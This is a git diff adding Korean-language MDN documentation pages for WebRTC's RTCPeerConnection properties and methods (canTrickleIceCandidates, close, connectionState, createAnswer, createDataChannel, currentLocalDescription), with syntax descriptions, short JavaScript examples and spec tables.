+ <li><a href="/en-US/docs/Web/API/WebRTC_API/Intro_to_RTP">Introduction to the Real-time Transport Protocol (RTP)</a></li>
+ <li>{{domxref("RTCPeerConnection.ontrack")}}</li>
+ <li>{{event("track")}}</li>
+</ul>
diff --git a/files/ko/web/api/rtcpeerconnection/cantrickleicecandidates/index.html b/files/ko/web/api/rtcpeerconnection/cantrickleicecandidates/index.html
new file mode 100644
index 0000000000..e9dbc9f893
--- /dev/null
+++ b/files/ko/web/api/rtcpeerconnection/cantrickleicecandidates/index.html
@@ -0,0 +1,87 @@
+---
+title: RTCPeerConnection.canTrickleIceCandidates
+slug: Web/API/RTCPeerConnection/canTrickleIceCandidates
+translation_of: Web/API/RTCPeerConnection/canTrickleIceCandidates
+---
+<div>{{APIRef("WebRTC")}}</div>
+
+<p><span class="seoSummary">읽기 속성인 <strong>{{domxref("RTCPeerConnection")}}</strong> 속성의 <code><strong>canTrickleIceCandidates</strong></code>는 원격유저가 <a href="https://tools.ietf.org/html/draft-ietf-mmusic-trickle-ice">trickled ICE candidates</a>를 승인 할 수 있는지의 여부를 알려주는 {{jsxref("Boolean")}}을 반환합니다.</span></p>
+
+<p><strong>ICE trickling</strong> 은 초기 offer 혹은 answer를 다른 유저에게 이미 전달을 했음에도 계속해서 candidate를 보내는 과정을 뜻합니다.</p>
+
+<p>이 속성은 {{domxref("RTCPeerConnection.setRemoteDescription()")}}가 호출된 후에만 설정됩니다. Signaling 프로토콜이 trickling 지원을 감지하는 방법을 제공해서 이 속성에 의존 할 필요가 없이 하는 것이 가장 좋은 방법입니다. WebRTC 브라우저는 항상 trickle ICE를 지원하게 되어있습니다. 하지만 몇몇 경우에 trickling이 지원이 되지 않거나 애초에 지원하는지를 알 수 없다면, 이 속성의 값이 이상한지 확인하고, 또한 초기 offer를 생성하고 전달하기 이전에 {{domxref("RTCPeerConnection.iceGatheringState", "iceGatheringState")}}의 값이 <code>"completed"</code>로 바뀌기전까지 기다릴 수 있습니다. 이러한 방식으로 offer에 모든 candidate들이 포함되도록 만들 수 있습니다.</p>
+
+<h2 id="Syntax">Syntax</h2>
+
+<pre class="syntaxbox"> var <em>canTrickle</em> = <em>RTCPeerConnection</em>.canTrickleIceCandidates;</pre>
+
+<h3 id="값">값</h3>
+
+<p>{{jsxref("Boolean")}}는 원격 유저가 trickled ICE candidate를 수용 할 수 있으면 <code>true </code>값이고, 그렇지 않으면 <code>false </code>값 입니다. 이미 원격 유저가 생성되었으면, 이 값은 <code>null</code> 입니다.</p>
+
+<div class="note">
+<p><strong>참조:</strong> 이 속성의 값은 로컬 피어가 {{domxref("RTCPeerConnection.setRemoteDescription()")}}를 호출하게 되면 결정됩니다. 여기에서 제공된 정보를 사용해서 ICE agent가 원격 유저가 trickled ICE candidate를 지원하는지에 대한 여부를 결정해줍니다.</p>
+</div>
+
+<h2 id="예시">예시</h2>
+
+<pre class="brush: js">var pc = new RTCPeerConnection();
+// The following code might be used to handle an offer from a peer when
+// it isn't known whether it supports trickle ICE.
+pc.setRemoteDescription(remoteOffer)
+ .then(_ =&gt; pc.createAnswer())
+ .then(answer =&gt; pc.setLocalDescription(answer))
+ .then(_ =&gt;
+ if (pc.canTrickleIceCandidates) {
+ return pc.localDescription;
+ }
+ return new Promise(r =&gt; {
+ pc.addEventListener('icegatheringstatechange', e =&gt; {
+ if (e.target.iceGatheringState === 'complete') {
+ r(pc.localDescription);
+ }
+ });
+ });
+ })
+ .then(answer =&gt; sendAnswerToPeer(answer)) // signaling message
+ .catch(e =&gt; handleError(e));
+
+pc.addEventListener('icecandidate', e =&gt; {
+ if (pc.canTrickleIceCandidates) {
+ sendCandidateToPeer(e.candidate); // signaling message
+ }
+});
+</pre>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <thead>
+ <tr>
+ <th scope="col">명세</th>
+ <th scope="col">상태</th>
+ <th scope="col">코멘트</th>
+ </tr>
+ </thead>
+ <tbody>
+ <tr>
+ <td>{{ SpecName('WebRTC 1.0', '#widl-RTCPeerConnection-canTrickleIceCandidates', 'RTCPeerConnection.canTrickleIceCandidates') }}</td>
+ <td>{{ Spec2('WebRTC 1.0') }}</td>
+ <td>Initial specification.</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+
+
+<p>{{Compat("api.RTCPeerConnection.canTrickleIceCandidates")}}</p>
+
+<h2 id="참조">참조</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Web/Guide/API/WebRTC">WebRTC</a></li>
+ <li>{{domxref("RTCPeerConnection.addIceCandidate()")}}</li>
+ <li><a href="/en-US/docs/Web/API/WebRTC_API/Session_lifetime">Lifetime of a WebRTC session</a></li>
+</ul>
diff --git a/files/ko/web/api/rtcpeerconnection/close/index.html b/files/ko/web/api/rtcpeerconnection/close/index.html
new file mode 100644
index 0000000000..763beca7d4
--- /dev/null
+++ b/files/ko/web/api/rtcpeerconnection/close/index.html
@@ -0,0 +1,72 @@
+---
+title: RTCPeerConnection.close()
+slug: Web/API/RTCPeerConnection/close
+translation_of: Web/API/RTCPeerConnection/close
+---
+<p>{{APIRef("WebRTC")}}{{SeeCompatTable}}</p>
+
+<p><code><strong>RTCPeerConnection.close()</strong></code> 메소드로 피어 연결을 종료합니다. </p>
+
+<h2 id="Syntax">Syntax</h2>
+
+<pre class="syntaxbox"><em>RTCPeerConnection</em>.close();
+</pre>
+
+<p><em>이 메소드는 입력 패러미터가 없으며, 반환 값도 없습니다.</em></p>
+
+<p>이 메소드를 호출하게되면, 모든 진행 중인 ICE 프로세싱 및 활성화된 스트림을 종료하고, <code>RTCPeerConnection</code>의 ICE 에이전트를 종료합니다. 이 방법으로 ICE 에이전트에 의해 사용되는 리소스들 (TURN 허가 포함) 을 해제시킵니다. 모든 {{domxref("RTCRtpSender")}} 객체들은 이 메소드가 반환되면 정지됩니다. (아직 종료 중인 과정에 있을 수도 있습니다만, 사실상 정지됩니다.)</p>
+
+<p>이 메소드가 반환되면, {{domxref("RTCPeerConnection.signalingState")}}에 의해 반환된 signaling 상태가 <code>closed</code>로 됩니다.</p>
+
+<p>같은 원격 유저와의 새로운 연결 생성을 시도하기전에 이전에 존재하던 {{domxref("RTCPeerConnection")}}의 모든 참조 값들을 <code>delete</code>하십시오. 삭제되지 않은 참조 값들이 브라우저에서 오류를 초래 할 수 있습니다.</p>
+
+<h2 id="예시">예시</h2>
+
+<pre class="brush: js">var pc = new RTCPeerConnection();
+var dc = pc.createDataChannel("my channel");
+
+dc.onmessage = function (event) {
+ console.log("received: " + event.data);
+ pc.close(); // 첫 메세지를 받으면, 연결을 종료
+};
+
+dc.onopen = function () {
+ console.log("datachannel open");
+};
+
+dc.onclose = function () {
+ console.log("datachannel close");
+};</pre>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <thead>
+ <tr>
+ <th scope="col">명세</th>
+ <th scope="col">상태</th>
+ <th scope="col">코멘트</th>
+ </tr>
+ </thead>
+ <tbody>
+ <tr>
+ <td>{{ SpecName('WebRTC 1.0', '#widl-RTCPeerConnection-close-void', 'RTCPeerConnection.close()') }}</td>
+ <td>{{ Spec2('WebRTC 1.0') }}</td>
+ <td>Initial specification.</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+
+
+<p>{{Compat("api.RTCPeerConnection.close")}}</p>
+
+<h2 id="참조">참조</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Web/Guide/API/WebRTC">WebRTC</a></li>
+ <li>{{domxref("RTCPeerConnection")}}</li>
+ <li>{{domxref("RTCPeerConnection.signalingState")}}</li>
+</ul>
diff --git a/files/ko/web/api/rtcpeerconnection/connectionstate/index.html b/files/ko/web/api/rtcpeerconnection/connectionstate/index.html
new file mode 100644
index 0000000000..a675cef4cb
--- /dev/null
+++ b/files/ko/web/api/rtcpeerconnection/connectionstate/index.html
@@ -0,0 +1,111 @@
+---
+title: RTCPeerConnection.connectionState
+slug: Web/API/RTCPeerConnection/connectionState
+translation_of: Web/API/RTCPeerConnection/connectionState
+---
+<p>{{APIRef("WebRTC")}}</p>
+
+<p>{{domxref("RTCPeerConnection")}} 인터페이스의 읽기 속성인 <strong><code>connectionState</code></strong>는 피어 연결의 현재 상태를 알려줍니다. 이 속성은 <code><a href="#RTCPeerConnectionState_enum">RTCPeerConnectionState</a></code> enum 값 중 하나를 문자열로 반환해줍니다.</p>
+
+<p>만약 이 속성의 값이 바뀌게되면, {{domxref("RTCPeerConnection")}} 인스턴스로 {{event("connectionstatechange")}} 이벤트가 전송됩니다.</p>
+
+<h2 id="Syntax">Syntax</h2>
+
+<pre class="syntaxbox">var <em>connectionState</em> = <em>RTCPeerConnection</em>.connectionState;</pre>
+
+<h3 id="값">값</h3>
+
+<p>연결의 현재 상태를 <code><a href="#RTCPeerConnectionState_enum">RTCPeerConnectionState</a></code> enum의 값 중 하나로 표시합니다.</p>
+
+
+
+<h3 id="RTCPeerConnectionState_enum">RTCPeerConnectionState enum</h3>
+
+<p><code>RTCPeerConnectionState</code> enum은 <code>RTCPeerConnection</code>이 존재 할 수 도있는 상태에 대해 알려주는 문자열 상수를 정의합니다. 이 값들은 {domxref("RTCPeerConnection.connectionState", "connectionState")}} 속성에 의해 반홥됩니다. 근본적으로 이 상태는 연결에 의해 사용되는 모든 ICE 전송 ({{domxref("RTCIceTransport")}} 혹은 {{domxref("RTCDtlsTransport")}}의 타입)의 상태 집합을 나타냅니다. </p>
+
+<table>
+ <thead>
+ <tr>
+ <th scope="col">상수명</th>
+ <th scope="col">설명</th>
+ </tr>
+ </thead>
+ <tbody>
+ <tr>
+ <td><code>"new"</code></td>
+ <td>
+ <p>연결의 ICE 전송 중 적어도 한 개가 새로 만들어진 <code>"new"</code> 상태이고,  그 외의 나머지는 다음의 상태 중 하나가 아니여야 합니다: <code>"connecting"</code>, <code>"checking"</code>, <code>"failed"</code>, 혹은 <code>"disconnected"</code>, 혹은  모든 연결의 전송이 끝났다는 <code>"closed"</code>상태.</p>
+ </td>
+ </tr>
+ <tr>
+ <td><code>"connecting"</code></td>
+ <td>하나 혹은 여러개의 ICE 전송이 현재 연결을 구성하는 중에 있음을 알려주는 값. 이는 <code>RTCIceConnectionState</code>가 <code>"checking"</code> 혹은 <code>"connected"</code>이며, 그 어떤 전송도 <code>"failed"</code>상태가 아니여야합니다. <strong>&lt;&lt;&lt; Make this a link once I know where that will be documented</strong></td>
+ </tr>
+ <tr>
+ <td><code>"connected"</code></td>
+ <td>연결에 의해 사용되는 모든 ICE 전송이 사용 중 (<code>"connected"</code> 혹은 <code>"completed"</code>)이거나, 종료된 상태입니다. 추가적으로 최소 하나의 전송이 <code>"connected"</code> 혹은 <code>"completed"</code>입니다.</td>
+ </tr>
+ <tr>
+ <td><code>"disconnected"</code></td>
+ <td>연결에 대한 최소 한 개의 ICE 전송이 <code>"disconnected"</code>상태이고, 그 외의 다른 전송 상태는 <code>"failed"</code>, <code>"connecting"</code>, 혹은 <code>"checking"</code>이 아님을 알려주는 값. </td>
+ </tr>
+ <tr>
+ <td><code>"failed"</code></td>
+ <td>
+ <p>연결에 대한 하나 혹은 여러개의 ICE 전송이 <code>"failed"</code>상태임을 알려주는 값.</p>
+ </td>
+ </tr>
+ <tr>
+ <td><code>"closed"</code></td>
+ <td>
+ <p><code>RTCPeerConnection</code> 개통되지 않음을 알려주는 값.</p>
+
+ <p>2016년 5월 13일에 작성된 명세서의 초안에 따르면, 이 값은 <a href="#RTCPeerConnectionState_enum"><code>RTCPeerConnectionState</code> enum</a> 안에 존재했었습니다. 따라서, {{domxref("RTCPeerConnection.signalingState", "signalingState")}}의 값을 통해 찾을 수 있습니다. </p>
+ </td>
+ </tr>
+ </tbody>
+</table>
+
+
+
+<h2 id="예시">예시</h2>
+
+<pre class="brush: js">var pc = new RTCPeerConnection(configuration);
+
+/* ... */
+
+var connectionState = pc.connectionState;</pre>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <thead>
+ <tr>
+ <th scope="col">명세</th>
+ <th scope="col">상태</th>
+ <th scope="col">코멘트</th>
+ </tr>
+ </thead>
+ <tbody>
+ <tr>
+ <td>{{ SpecName('WebRTC 1.0', '#widl-RTCPeerConnection-connectionState', 'RTCPeerConnection.connectionState') }}</td>
+ <td>{{ Spec2('WebRTC 1.0') }}</td>
+ <td>Initial specification.</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+
+
+<p>{{Compat("api.RTCPeerConnection.connectionState")}}</p>
+
+<h2 id="참조">참조</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Web/API/WebRTC_API/Session_lifetime">Lifetime of a WebRTC session</a></li>
+ <li>{{domxref("RTCPeerConnection")}}</li>
+ <li>{{event("connectionstatechange")}}</li>
+ <li><a href="/en-US/docs/Web/Guide/API/WebRTC">WebRTC</a></li>
+</ul>
diff --git a/files/ko/web/api/rtcpeerconnection/createanswer/index.html b/files/ko/web/api/rtcpeerconnection/createanswer/index.html
new file mode 100644
index 0000000000..a57adb7be1
--- /dev/null
+++ b/files/ko/web/api/rtcpeerconnection/createanswer/index.html
@@ -0,0 +1,96 @@
+---
+title: RTCPeerConnection.createAnswer()
+slug: Web/API/RTCPeerConnection/createAnswer
+translation_of: Web/API/RTCPeerConnection/createAnswer
+---
+<p>{{APIRef("WebRTC")}}</p>
+
+<p>{{domxref("RTCPeerConnection")}} 인터페이스의 <strong><code>createAnswer()</code></strong> 메소드는 WebRTC 연결 중 발생하는 offer/answer 네고시에이션에서 원격 유저로부터 받은 offer에 대한 {{Glossary("SDP")}} answer를 생성합니다. 이 answer는 세션이 이미 부착된 미디어, 브라우저에서 지원하는 코덱 및 옵션, 그리고 이미 수집된 {{Glossary("ICE")}} candidate에 대한 정보를 담고 잇습니다. Answer는 반환 된 {{jsxref("Promise")}}에 전달되고, 그 다음에는 네고시에이션 과정을 계속 진행하기 위해서 offer의 소스에게 전달되야합니다. </p>
+
+<h2 id="Syntax">Syntax</h2>
+
+<pre class="syntaxbox"><em>aPromise</em> = <em>RTCPeerConnection</em>.createAnswer([<em>options</em>]);
+
+<em>RTCPeerConnection</em>.createAnswer(<em>successCallback</em>, <em>failureCallback</em>[, <em>options</em>]); {{deprecated_inline}}</pre>
+
+<h3 id="매개_변수">매개 변수</h3>
+
+<dl>
+ <dt><code>options</code> {{optional_inline}}</dt>
+ <dd>Answer를 커스터마이즈 할 수 있는 옵션을 설정하는 객체입니다. 설정 가능한 옵션은 {{domxref("RTCAnswerOptions")}} 딕셔너리에 기반합니다.</dd>
+</dl>
+
+<h3 id="더_이상_사용되지_않는_매개_변수">더 이상 사용되지 않는 매개 변수</h3>
+
+<p>이전 버전의 문서에서는 이 함수를 콜백 기반으로 사용하도록 되어있습니다. 콜백 기반 함수는 이제 더 이상 사용되지 않으며, <strong>사용하지 않는 것을 권장</strong>합니다. 이미 사용 중이라면, <a href="https://developer.mozilla.org/ko/docs/Web/JavaScript/Reference/Global_Objects/Promise" title="Promise 개체는 비동기 작업이 맞이할 미래의 완료 또는 실패와 그 결과 값을 나타냅니다."><code>Promise</code></a> 버전인 <code>createAnswer()</code>를 사용하도록 코드를 업데이트 하십시오. 이전 버전의 코드를 업데이트 하는 것을 쉽게 하기 위해 고안된 <code>createAnswer()</code>의 특정 변수에 대해 아래에서 설명합니다.</p>
+
+<dl>
+</dl>
+
+<dl>
+ <dt><code>successCallback</code> {{deprecated_inline}}</dt>
+ <dd>신규 생성된 answer를 설명하는 단일 {{domxref("RTCSessionDescription")}} 객체에 전달되는 {{domxref("RTCSessionDescriptionCallback")}} 입니다.</dd>
+ <dt><code>failureCallback</code> {{deprecated_inline}}</dt>
+ <dd>왜 answer를 생성하는 요청이 실패했는지를 설명해주는 단일 {{domxref("DOMException")}} 객체에 전달되는 {{domxref("RTCPeerConnectionErrorCallback")}} 입니다.</dd>
+ <dt><code>options</code> {{optional_inline}}</dt>
+ <dd>Answer를 위해 요청된 옵션을 제공하는 {{domxref("RTCOfferOptions")}} 객체입니다. </dd>
+</dl>
+
+<h3 id="예외처리">예외처리</h3>
+
+<dl>
+ <dt><code>NotReadableError</code></dt>
+ <dd>아이덴티티 제공자가 아이덴티티 주장을 제공 할 수 없음을 알려줍니다.</dd>
+ <dt><code>OperationError</code></dt>
+ <dd>SDP 생성이 어떤 이유로 실패했음을 알려줍니다. 이는 일반적인 failure catch-all exception 입니다.</dd>
+</dl>
+
+<h3 id="반환_값">반환 값</h3>
+
+<p>다른 유저에게 전달되는 SDP answer를 가진 {{domxref("RTCSessionDescriptionInit")}} 딕셔너리에 준수하는 객체와 함께 호출되는 fulfillment 핸들러인 {{jsxref("Promise")}} 입니다.</p>
+
+<h2 id="예시">예시</h2>
+
+<p>아래는 <a href="/en-US/docs/Web/API/WebRTC_API/Signaling_and_video_calling">Signaling and video calling</a> 문서에서 나오는 코드의 일부입니다. 이 코드는 시그널링 채널을 통해 다른 유저에게 offer는 전달하는 메세지를 다루는 핸들러에서 나옵니다.</p>
+
+<div class="note">
+<p>주의 할 점은 이것이 시그널링 과정의 일부이며, 전송계층 구현에 대한 세부사항은 전적으로 개발자에게 달려있다는 것 입니다. 여기서는 <a href="/en-US/docs/Web/API/WebSocket_API">WebSocket</a> 연결을 사용해서 다른 유저에게 "video-answer" 값이 있는 <code>type</code> 필드 및 offer를 보낸 장치에게 전달 할 answer를 담은 {{Glossary("JSON")}} 메세지를 보냅니다. 프로미스 fulfillment 핸들러의 다른 모든 항목들과 함께 <code>sendToServer()</code>함수로 전달되는 객체의 내용을 어떻게 할 지는 개발자의 디자인에 달려잇습니다.</p>
+</div>
+
+<pre class="brush: js">pc.createAnswer().then(function(answer) {
+ return pc.setLocalDescription(answer);
+})
+.then(function() {
+ // Send the answer to the remote peer through the signaling server.
+})
+.catch(handleGetUserMediaError);
+</pre>
+
+<p>위의 예제는 {{domxref("RTCPeerConnection")}}가 신규 answer를 만들고 반환하도록 요청합니다. 프로미스 핸들러에 반환된 answer는 {{domxref("RTCPeerConnection.setLocalDescription", "setLocalDescription()")}} 호출에 의해 연결의 로컬 엔드에 대한 description으로 설정됩니다.</p>
+
+<p>이 과정이 성공하면, answer는 적당한 아무 프로토콜을 사용해서 시그널링 서버에 전달됩니다. 그리고 {{jsxref("Promise.catch()")}}는 에러를 잡아내고 처리하기 위해 사용됩니다.</p>
+
+<p>{{SectionOnPage("/en-US/docs/Web/API/WebRTC_API/Signaling_and_video_calling", "Handling the invitation")}}를 확인해서 전체 코드를 확인해보십시오. 이 문서를 보면 시그널링 과정 및 answer가 어떻게 작동하는지를 이해 할 수 있습니다.</p>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <tbody>
+ <tr>
+ <th scope="col">명세</th>
+ <th scope="col">상태</th>
+ <th scope="col">코멘트</th>
+ </tr>
+ <tr>
+ <td>{{SpecName('WebRTC 1.0', '#dom-rtcpeerconnection-createanswer', 'createAnswer()')}}</td>
+ <td>{{Spec2('WebRTC 1.0')}}</td>
+ <td>Initial definition.</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+
+
+<p>{{Compat("api.RTCPeerConnection.createAnswer")}}</p>
diff --git a/files/ko/web/api/rtcpeerconnection/createdatachannel/index.html b/files/ko/web/api/rtcpeerconnection/createdatachannel/index.html
new file mode 100644
index 0000000000..c348421377
--- /dev/null
+++ b/files/ko/web/api/rtcpeerconnection/createdatachannel/index.html
@@ -0,0 +1,146 @@
+---
+title: RTCPeerConnection.createDataChannel()
+slug: Web/API/RTCPeerConnection/createDataChannel
+translation_of: Web/API/RTCPeerConnection/createDataChannel
+---
+<p>{{APIRef("WebRTC")}}</p>
+
+<p><span class="seoSummary">{{domxref("RTCPeerConnection")}} 인터페이스의 <strong><code>createDataChannel()</code></strong> 메소드는 어떤 형식의 데이터든 송신 할 수 있도록 원격 유저와 연결하는 신규 채널을 생성합니다.</span>이 방법은 이미지, 파일 전송, 문자 채팅, 게임 패킷 업데이트 등과 같은 백채널 컨텐츠에 유용하게 사용 가능합니다.</p>
+
+<p>연결 인터페이스에 신규 채널이 처음 추가되면, 재협상 과정이 {{event("negotiationneeded")}} 이벤트를 전달하여 시작됩니다.</p>
+
+<h2 id="Syntax">Syntax</h2>
+
+<pre class="syntaxbox"><em>dataChannel</em> = <em>RTCPeerConnection</em>.createDataChannel(<em>label</em>[, <em>options</em>]);</pre>
+
+<h3 class="syntaxbox" id="매개변수">매개변수</h3>
+
+<dl>
+ <dt><code>label</code></dt>
+ <dd>사람이 읽을 수 있는 채널 이름입니다. 이름의 문자열은 65,535 바이트 보다 작아야합니다.</dd>
+ <dt><code>options</code> {{optional_inline}}</dt>
+ <dd><a href="#RTCDataChannelInit_dictionary"><code>RTCDataChannelInit</code> dictionary</a>가 데이터 채널에 대한 설정 옵션들을 제공합니다. </dd>
+</dl>
+
+<h3 id="RTCDataChannelInit_딕셔너리">RTCDataChannelInit 딕셔너리</h3>
+
+<p><code>RTCDataChannelInit</code> 딕셔너리는 개발자의 필요에 따라 데이터 채널을 설정 할 때 객체로 전달되는 옵션 매개변수로 전달되는 객체에 포함 될 수 있는 다음의 필드들을 제공합니다:</p>
+
+<dl>
+ <dt><code>ordered</code> {{optional_inline}}</dt>
+ <dd>이 옵션은 {{domxref("RTCDataChannel")}}에 전달된 메세지가 보내진 순서대로 상대방에게 도착해야하는지 (<code>true</code>) 아니면 순서가 달라도 허용 (<code>false</code>)이 되는지를 결정합니다. <strong>기본 값: <code>true</code>.</strong></dd>
+ <dt><strong><code>maxPacketLifeTime</code> {{optional_inline}}</strong></dt>
+ <dd>불안정한 모드에서 메세지를 전송 할 때 최대 몇 초 동안 전송을 시도 할 것인지를 결정하는 옵션입니다. 이 값은 16bit의 부호가 없는 정수형이지만, 각 유저 에이전트는 적절하다고 판단되는 최대 값으로 지정 할 수 있습니다. (<strong>주의</strong>: <strong><code>maxPacketLifeTime</code></strong> 혹은 <strong><code>maxRetransmits</code> </strong>옵션 둘 중 하나만 사용해야함.) <strong>기본 값: <code>null</code>.</strong></dd>
+ <dt><code>maxRetransmits</code> {{optional_inline}}</dt>
+ <dd>불안정한 모드에서 메세지 전송이 실패하면 최대 몇 번을 재시도 할 것인지를 결정하는 옵션입니다. 이 값은 16bit의 부호가 없는 정수형이지만, 각 유저 에이전트는 적절하다고 판단되는 최대 값으로 지정 할 수 있습니다. (<strong>주의</strong>: <strong><code>maxPacketLifeTime</code></strong> 혹은 <strong><code>maxRetransmits</code> </strong>옵션 둘 중 하나만 사용해야함.) <strong>기본 값: <code>null</code>.</strong></dd>
+ <dt><code>protocol</code> {{optional_inline}}</dt>
+ <dd>{{domxref("RTCDataChannel")}}에 사용되는 서브 프로토콜의 이름입니다. 존재하지 않으면 이 옵션은 빈 문자열 (<code>""</code>)입니다. <strong>기본 값: 빈 문자열, <code>""</code>.</strong> 이 문자열은 65,535 바이트 보다 작아야합니다.</dd>
+ <dt><code>negotiated</code> {{optional_inline}}</dt>
+ <dd>기본 값일 경우 (<code>false</code>), 데이터채널은 밴드의 대역 내에서 협상됩니다. 이 때, 한 쪽은 <code>createDataChannel</code>를 호출하고, 다른 쪽에서는 {{domxref("RTCDataChannelEvent")}} 이벤트를 <code>ondatachannel</code> <code>EventHandler</code>를 사용해서 감청합니다. 반대로 <code>true</code> 일 경우, 밴드의 대역 범위를 벗어나도 재협상이 가능해집니다. 이 때에는 양쪽에서 합의된 id를 가진 <code>createDataChannel</code>을 호출하게됩니다. <strong>기본 값: <code>false</code>. </strong></dd>
+ <dt><code>id</code> {{optional_inline}}</dt>
+ <dd>채널에 대한 16bit 숫자형 ID입니다. 허용되는 값은 0에서 65534 사이입니다. 이 값을 지정하지 않으면, 유저 에이전트가 알아서 ID를 지정해줍니다.</dd>
+</dl>
+
+<div class="note">
+<p><code>RTCDataChannelInit</code> 딕셔너리를 사용해서 설정이 가능한 옵션들은 {{domxref("RTCDataChannel")}} 인터페이스에서 설정이 가능한 특성들의 서브 셋을 뜻합니다.</p>
+</div>
+
+<h3 id="반환_값">반환 값</h3>
+
+<p>지정한 <code>label</code>을 가지고, <code>options</code>에 지정한 옵션들을 사용하여 설정된 신규 {{domxref("RTCDataChannel")}} 객체입니다. 각 매개변수들을 지정하지 않으면, 기본 값으로 설정되어 생성됩니다.</p>
+
+<h3 id="예외처리">예외처리</h3>
+
+<dl>
+ <dt><code>InvalidStateError</code></dt>
+ <dd>{{domxref("RTCPeerConnection")}}가 닫혀있음을 뜻합니다.</dd>
+ <dt><code>TypeError</code></dt>
+ <dd>이 에러는 여러 상황에서 발생이 가능합니다:
+ <ul>
+ <li>label 혹은 프로토콜 문자열이 너무 길어서 발생합니다. 해당 문자열은 65,535바이트보다 작아야합니다. </li>
+ <li><code>id</code>가 65535여서 발생합니다. 이 값은 유효한 부호가 없는 16bit 이지만, <code>id</code> 값으로 허용되는 범위를 벗어나게됩니다. (0-65534 까지만 허용)</li>
+ </ul>
+ </dd>
+ <dt><code>SyntaxError</code></dt>
+ <dd><code>maxPacketLifeTime</code> 와 <code>maxRetransmits</code> 옵션에 모두 값이 지정되면 발생합니다. 둘 중 하나에만 non-<code>null</code> 값을 지정해야 합니다.</dd>
+ <dt><code>ResourceInUse</code></dt>
+ <dd><code>id</code> 값이 지정되었지만, 다른 {{domxref("RTCDataChannel")}}에서 이미 같은 이름을 사용 중이면 발생합니다.</dd>
+ <dt><code>OperationError</code></dt>
+ <dd>지정한 <code>id</code>가 이미 사용 중이거나, <code>id</code>가 지정되지 않았다면 모든 ID들이 사용 중이기 때문에 WebRTC 레이어에서 자동으로 <code>id</code> 생성이 불가능 할 때 발생합니다.</dd>
+</dl>
+
+<h2 id="예시">예시</h2>
+
+<p>아래의 예제에서는 어떻게 데이터 채널을 생성하고, 생성 할 때 메세지를 전송하고 수신하는 이벤트인 {{event("open")}}와 {{event("message")}}에대한 핸들러를 설정합니다. (onnegotiationneeded는 이미 설정이 되었다고 가정하고 간소화한 예입니다.)</p>
+
+<pre class="brush: js">// Offerer side
+
+var pc = new RTCPeerConnection(options);
+var channel = pc.createDataChannel("chat");
+channel.onopen = function(event) {
+ channel.send('Hi you!');
+}
+channel.onmessage = function(event) {
+ console.log(event.data);
+}</pre>
+
+<pre class="brush: js">// Answerer side
+
+var pc = new RTCPeerConnection(options);
+pc.ondatachannel = function(event) {
+ var channel = event.channel;
+ channel.onopen = function(event) {
+ channel.send('Hi back!');
+ }
+ channel.onmessage = function(event) {
+ console.log(event.data);
+ }
+}</pre>
+
+<p>다른 방법으로는 양쪽에서 합의한 id를 사용하여 보다 대칭적인 대역 밴드 외 협상이 가능합니다. (id는 0입니다):</p>
+
+<pre class="brush: js">// Both sides
+
+var pc = new RTCPeerConnection(options);
+var channel = pc.createDataChannel("chat", {negotiated: true, id: 0});
+channel.onopen = function(event) {
+ channel.send('Hi!');
+}
+channel.onmessage = function(event) {
+ console.log(event.data);
+}</pre>
+
+<p>연결 및 채널이 구성되는 예를 더 자세히 알고 싶다면, <a href="/en-US/docs/Web/API/WebRTC_API/Simple_RTCDataChannel_sample">A simple RTCDataChannel sample</a>를 참조하십시오.</p>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <tbody>
+ <tr>
+ <th scope="col">명세</th>
+ <th scope="col">상태</th>
+ <th scope="col">코멘트</th>
+ </tr>
+ <tr>
+ <td>{{SpecName('WebRTC 1.0', '#widl-RTCPeerConnection-createDataChannel-RTCDataChannel-DOMString-label-RTCDataChannelInit-dataChannelDict', 'createDataChannel()')}}</td>
+ <td>{{Spec2('WebRTC 1.0')}}</td>
+ <td>Initial definition.</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+<div>
+
+
+<p>{{Compat("api.RTCPeerConnection.createDataChannel")}}</p>
+</div>
+
+<h2 id="참조">참조</h2>
+
+<ul>
+ <li>{{domxref("RTCDataChannel")}}</li>
+ <li><a href="/en-US/docs/Web/API/WebRTC_API/Simple_RTCDataChannel_sample">A simple RTCDataChannel sample</a></li>
+ <li>{{domxref("RTCPeerConnection")}}</li>
+</ul>
diff --git a/files/ko/web/api/rtcpeerconnection/currentlocaldescription/index.html b/files/ko/web/api/rtcpeerconnection/currentlocaldescription/index.html
new file mode 100644
index 0000000000..45b79a88f4
--- /dev/null
+++ b/files/ko/web/api/rtcpeerconnection/currentlocaldescription/index.html
@@ -0,0 +1,76 @@
+---
+title: RTCPeerConnection.currentLocalDescription
+slug: Web/API/RTCPeerConnection/currentLocalDescription
+translation_of: Web/API/RTCPeerConnection/currentLocalDescription
+---
+<p>{{WebRTCSidebar}}</p>
+
+<p>읽기 속성인 <code><strong>RTCPeerConnection.currentLocalDescription</strong></code>은 가장 최근에 {{domxref("RTCPeerConnection")}}가 성공적으로 네고시에이션을 마치고 원격 피어와 연결된, 연결인터페이스의 로컬 엔드를 설명하는 {{domxref("RTCSessionDescription")}} 객체를 반환합니다. 이외에도 설명에 의해 offer 혹은 answer가 처음으로 인스턴스화 되면 ICE 에이전트에 의해 이미 생성됬을수도 있는 ICE candidate 목록이 포함되어 있습니다.</p>
+
+<p><code>currentLocalDescription</code>을 바꾸기 위해서는, 이 값을 설정하도록 연쇄 이벤트를 작동시키는 {{domxref("RTCPeerConnection.setLocalDescription()")}}를 호출하십시오. 이 연쇄 이벤트가 어떻게 값을 바꾸고, 왜 즉시 값이 바뀌지 않는지에 대해 궁금하다면, {{SectionOnPage("/en-US/docs/Web/API/WebRTC_API/Connectivity", "Pending and current descriptions")}}를 살펴보십시오.</p>
+
+<div class="note">
